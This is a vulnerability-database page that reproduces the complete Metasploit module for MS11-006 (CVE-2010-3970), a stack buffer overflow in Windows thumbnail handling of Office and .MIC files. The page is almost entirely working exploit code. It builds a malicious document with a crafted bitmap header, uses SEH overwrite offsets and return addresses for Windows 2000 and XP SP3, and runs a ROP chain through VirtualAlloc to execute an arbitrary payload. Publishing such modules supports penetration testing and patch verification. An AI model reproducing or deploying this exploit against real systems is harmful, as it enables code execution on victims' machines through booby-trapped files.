Lucene search
K

MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow

🗓️ 08 Feb 2011 23:31:44Reported by Moti & Xu Hao, Yaniv Miron aka Lament of ilhack, jduck <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 42 Views

MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow. Exploits stack-based buffer overflow in thumbnail processing of .MIC files and Office documents leading to arbitrary code execution

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/ole'
require 'rex/ole/util'

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MS11-006 Microsoft Windows CreateSizedDIBSECTION Stack Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack-based buffer overflow in the handling of thumbnails
        within .MIC files and various Office documents. When processing a thumbnail bitmap
        containing a negative 'biClrUsed' value, a stack-based buffer overflow occurs. This
        leads to arbitrary code execution.

        In order to trigger the vulnerable code, the folder containing the document must be
        viewed using the "Thumbnails" view.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Moti & Xu Hao',  # original discovery
          'Yaniv Miron aka Lament of ilhack',
          'jduck'           # Metasploit module
        ],
      'References'     =>
        [
          [ 'CVE', '2010-3970' ],
          [ 'OSVDB', '70263' ],
          [ 'MSB', 'MS11-006' ],
          [ 'BID', '45662' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
          'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'
        },
      'Payload'        =>
        {
          'Space'         => 512,
          'BadChars'      => "\x00",
          'DisableNops'   => true # no need
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          # This automatic target will combine all targets into one file :)
          [ 'Automatic', { } ],

          # Windows 2000 is a soft target... You're not still using it are you?
          [ 'Windows 2000 SP0/SP4 English',
            {
              'Offset' => 1548,   # Offset to SEH frame
              'Ret' => 0x75022ac4 # p/p/r ws2help.dll v5.0.2134.1
            }
          ],

          # My test machine didn't have l3codeca.acm loaded (as mentioned in their slides)
          # However, it did have msacm32.drv
          [ 'Windows XP SP3 English',
            {
              'Offset' => 1560,    # Offset to SEH frame
              # Address from msacm32.drv v5.1.2600.0
              'Ret' => 0x72d11676,  # push esi / mov esi,[esp+0xc] / push [esi+0x54] / call [esi+0x5c]

              # This ends up becoming eip due to above SafeSEH bypass
              'PivotOffset' => 1652,
              'RopStart' => 592
            }
          ],

=begin
          [ 'Windows Server 2003 SP2',
            {
              'Offset' => 1576,    # Offset to SEH frame
              'Ret' => 0xfeedfed5

              # rop is possible with l3codeca.acm, but its not clear how to force it to be loaded.
              # Also, it changed in Feburary 2010 ...
            }
          ],
=end

          # crash on a deref path to heaven.
          [ 'Crash Target for Debugging',
            {
              'Offset' => 1337,
              'Ret' => 0xdac0ffee
            }
          ]
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => '2010-12-15'))

    register_options(
      [
        OptString.new('FILENAME', [ true, 'The file name.',  'msf.doc'])
      ])
  end

  def exploit

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    fname = datastore['FILENAME']
    ltype = "exploit.fileformat.ms11_006"
    out = store_local(ltype, nil, '', fname)

    stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)
    if (not stg)
      fail_with(Failure::BadConfig, 'Unable to create output file')
    end

    stm = stg.create_stream("\x05SummaryInformation")
    if (not stm)
      fail_with(Failure::BadConfig, 'Unable to create SummaryInformation stream')
    end
    stm << generate_summaryinfo()
    stm.close

    stg.close

    print_good("#{datastore['FILENAME']} created at #{out}")

  end

  def generate_summaryinfo
    si = Rex::OLE::PropertySetStream.new

    ps = Rex::OLE::PropertySet.new(Rex::OLE::FMTID_SummaryInformation)

    bihdr = [
      0x08,  # ??
      0x28,  # biSize (struct size)
      0x50,  # biWidth
      0x58,  # biHeight
      0x01,  # biPlanes
      0x08,  # biBitCount
      0x00,  # biCompression
      0xa8c0,  # biSizeImage
      0x00,  # biXPelsPerMeter
      0x00,  # biYPelsPerMeter
      # biClrUsed
      0x80000001,
      0x00   # biClrImportant
    ].pack('VVVVvvVVVVVV')

    # ClipboardData
    data = rand_text(8192)
    data[0, bihdr.length] = bihdr
    data[48, payload.encoded.length] = payload.encoded

    if target.name == "Automatic"
      targets.each { |t|
        next if t.name !~ /Windows/i

        add_target(data, t)
      }
    else
      add_target(data, target)
    end

    prop = Rex::OLE::Property.new(Rex::OLE::PIDSI_THUMBNAIL, Rex::OLE::VT_CF, data)
    ps << prop
    si << ps

    si.pack
  end

  def add_target(data, targ)
    if targ['PivotOffset'] and targ['RopStart']
      data[targ['Offset'] + 4, 4] = [targ.ret].pack('V')

      rvas = rvas_explorer_xpsp3()
      rop = generate_rop(rvas)

      pivot = rva2addr(rvas, 'add ebp, [edx+6] / pop eax / leave / ret 4')
      data[targ['PivotOffset'], 4] = [pivot].pack('V')

      data[targ['RopStart'], rop.length] = rop
    else
      seh = generate_seh_record(targ.ret)
      distance = targ['Offset'] + seh.length
      distance -= 48  # the entire source buffer isn't copied
      seh << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

      data[targ['Offset'], seh.length] = seh
    end
  end

  def rvas_explorer_xpsp3()
    # explorer.exe version v6.0.2900.5512
    # Just return this hash
    {
      'add ebp, [edx+6] / pop eax / leave / ret 4' => 0x2be9c,
      'ret'                    => 0x3ebd,

      'int3 / ... / ret'       => 0x1922f,

      'mov eax, esi / pop edi / pop esi / ret' => 0x2648,
      'pop ebp / ret'          => 0x3ebc,
      'add eax, ebp / ret'     => 0x13124,
      'mov eax, [eax] / ret'   => 0x74b7,

      'pop ebx / ret'          => 0x4bd5,
      'push eax / call ebx'    => 0xedc7,
      'pop edi / pop esi / ret' => 0x23bb,

      'pop ecx / ret'          => 0x1acd9,
      'call [ecx] / pop ebp / ret 0x10' => 0x2ad52,

      'pop edi / ret'          => 0x319bc,

      'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret' => 0x88c4,

      'mov [eax], ecx / pop ebp / ret 4' => 0xa747,
      'jmp eax'                => 0x2080
    }
  end

  def generate_rop(rvas)
    # ROP fun! (XP SP3 English, Dec 29 2010)
    rvas.merge!({
      # Instructions / Name    => RVA
      'BaseAddress'            => 0x01000000,
      'imp_VirtualAlloc'       => 0x11e8,
      'Scratch'                => 0x46060
    })

    rop_stack = [
      'ret',
      :unused,  # from pivot

      # First, get the address of our source buffer in relation to the
      # SEH record pointer now saved in ESI
      'mov eax, esi / pop edi / pop esi / ret',
      :unused,
      :unused,

      'pop ebp / ret',
      0xfffffa18,
      'add eax, ebp / ret',

      'pop ebx / ret',
      'pop edi / pop esi / ret',
      'push eax / call ebx',

      # Allocate an RWX memory segment
      'pop ecx / ret',
      'imp_VirtualAlloc',

      'call [ecx] / pop ebp / ret 0x10',
      0,         # lpAddress
      0x1000,    # dwSize
      0x3000,    # flAllocationType
      0x40,      # flProt
      :unused,

      # Copy the original payload
      'pop ecx / ret',
      :unused,
      :unused,
      :unused,
      :unused,
      0x80,      # dwords to copy

      'lea edi, [eax+0x1c] / rep movsd / pop edi / pop esi / ret',
      :unused,
      :unused,

      # Add a jump over the space/crap
      'pop ecx / ret',
      0x90901aeb,

      'mov [eax], ecx / pop ebp / ret 4',
      :unused,

      'jmp eax'
    ]

    rop_stack.map! { |e|
      if e.kind_of? String
        # Meta-replace (RVA)
        fail_with(Failure::BadConfig, "Unable to locate key: \"#{e}\"") if not rvas[e]
        rvas['BaseAddress'] + rvas[e]

      elsif e == :unused
        # Randomize
        rand_text(4).unpack('V').first

      else
        # Literal
        e
      end
    }

    rop_stack.pack('V*')
  end

  def rva2addr(rvas, key)
    fail_with(Failure::BadConfig, "Unable to locate key: \"#{key}\"") if not rvas[key]
    rvas['BaseAddress'] + rvas[key]
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation